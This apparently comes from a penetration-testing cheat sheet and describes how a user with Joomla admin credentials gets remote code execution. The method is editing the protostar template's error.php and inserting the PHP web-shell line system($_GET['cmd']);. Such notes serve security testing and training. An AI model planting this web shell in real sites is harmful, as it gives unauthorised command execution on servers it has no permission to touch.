Joomla
RCE
If you managed to get admin credentials you can RCE inside of it by adding a snippet of PHP code to gain RCE. We can do this by customizing a template.
- Click on
Templateson the bottom left underConfigurationto pull up the templates menu. - Click on a template name. Let's choose
protostarunder theTemplatecolumn header. This will bring us to theTemplates: Customisepage. - Finally, you can click on a page to pull up the page source. Let's choose the
error.phppage. We'll add a PHP one-liner to gain code execution as follows:system($_GET['cmd']);
- Save & Close